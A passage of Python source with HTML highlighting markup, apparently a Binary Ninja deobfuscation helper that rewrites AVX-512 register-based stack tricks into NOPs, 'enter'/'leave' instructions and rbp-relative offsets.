self.rbp_init_range = AddrRange(initial_insts[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">].addr, initial_insts[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">].addr) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> rbp_initialized </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
self.pending_writes = []
self.comments = {}
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># address of known nops, to avoid constantly re-updating analysis</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
self.nops = {i.addr </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> initial_insts}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> self.push_rbp_exists </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> self.rbp_initialized:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(self.stack_size <= </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ** </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">15</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
opcode = arch.assemble(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f"enter <span class="hljs-subst">{self.stack_size}</span>, 0"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
self.__write(opcode, self.push_rbp_addr)
self.__nop(self.push_rbp_addr + </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(opcode), self.rbp_init_range.end)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">commit_patches</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self, comment=<span class="hljs-literal" style="color: #a31515;">True</span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i,p </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">enumerate</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(self.pending_writes):
data,addr = p
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">set</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(data) != {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x90</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">}:
bw.write(data, addr)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># multi nop optimization to make disas look better</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
curr_real_end = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">min</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([a </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> _,a </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> self.pending_writes[i+</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:] </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> a > addr], default=</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(data) + addr)
data = data[:curr_real_end - addr]
opt_data = multi_nop_opt(data)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(opt_data) == </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(data))
bw.write(opt_data, addr)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> comment:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> addr, c </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> self.comments.items():
bv.set_comment_at(addr, c)
self.pending_writes = []
self.comments = {}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">__write</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self, data, addr</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
self.pending_writes.append((data, addr))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">__nop</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self, start, end</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
self.__write(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">b'\x90'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> * (end - start), start)
self.nops |= {i </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(start, end)}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">set_k</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self, k_str, val, addr</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
self.k[k_reg_idx(k_str)][addr] = val
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">invalidate_k</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self, k_str, addr</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
self.k[k_reg_idx(k_str)][addr] = </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">__fetch_k_val</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self, k_idx, addr</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(self.k[k_idx]) > </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
closest_val = self.k[k_idx][</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">max</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([a </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> a </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> self.k[k_idx].keys() </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> a < addr])]
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(closest_val </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">is</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(closest_val < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> closest_val
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;"> @property</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">scratch30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(self._scratch30 </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">is</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> self._scratch30
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;"> @scratch30.setter</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">scratch30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self, val</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
self._scratch30 = val
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;"> @property</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">scratch31</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(self._scratch31 </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">is</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> self._scratch31
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;"> @scratch31.setter</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">scratch31</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self, val</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
self._scratch31 = val
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">nop_patch</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self, addr_range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
length = addr_range.end - addr_range.start
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> self.push_rbp_exists </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> self.rbp_initialized:
opcode = arch.assemble(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f"enter <span class="hljs-subst">{self.stack_size}</span>, 0"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(opcode) <= length:
self.__nop(self.push_rbp_addr, self.push_rbp_addr + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
self.__write(opcode, addr_range.start)
self.__nop(addr_range.start + </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(opcode), addr_range.end)
self.__write(arch.assemble(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"leave"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">), self.pop_rbp_addr)
self.rbp_initialized = </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">True</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
self.__nop(addr_range.start, addr_range.end)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">True</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">patch</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self, addr_range, asm</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># try to shift it up as much as possible</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
start = addr_range.start
end = addr_range.end
opcodes = arch.assemble(asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">while</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> start > self.func_start:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (start - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> self.nops:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([*bv.get_code_refs(start - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)]) == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">or</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> start - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> == self.func_start:
start -= </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">continue</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">break</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># overflow patch</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(opcodes) > addr_range.end - start):
rem = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(opcodes) - (addr_range.end - start)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, rem):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (end + i) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> self.nops </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([*bv.get_code_refs(end + i)]) == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
end += rem
self.__write(opcodes, start)
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># remove that region as nops</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
self.nops -= {start + i </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(opcodes))}
self.__nop(start + </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(opcodes), end)
self.comments[start] = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'patched from <span class="hljs-subst">{<span class="hljs-built_in" style="color: blue;">hex</span>(addr_range.start)}</span> - <span class="hljs-subst">{<span class="hljs-built_in" style="color: blue;">hex</span>(addr_range.end)}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">True</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">get_stack_offset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self, zmm_reg_tuple, addr, stringify=<span class="hljs-literal" style="color: #a31515;">True</span>, debug=<span class="hljs-literal" style="color: #a31515;">False</span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
zmmX, kreg = zmm_reg_tuple</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> debug:
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">print</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">hex</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(addr))
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">print</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(zmm_reg_tuple)
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">print</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(self.__fetch_k_val(kreg, addr))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(zmmX < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
offset = self.initial_stack_alloc + (zmmX * </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> + self.__fetch_k_val(kreg, addr)) * </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> + (</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> self.push_rbp_exists </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> stringify:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> offset
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'rbp - <span class="hljs-subst">{offset}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> self.push_rbp_exists </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'rsp - <span class="hljs-subst">{offset}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
nop_handler = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, disas, ctx : </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">True</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">resolve</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">x</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
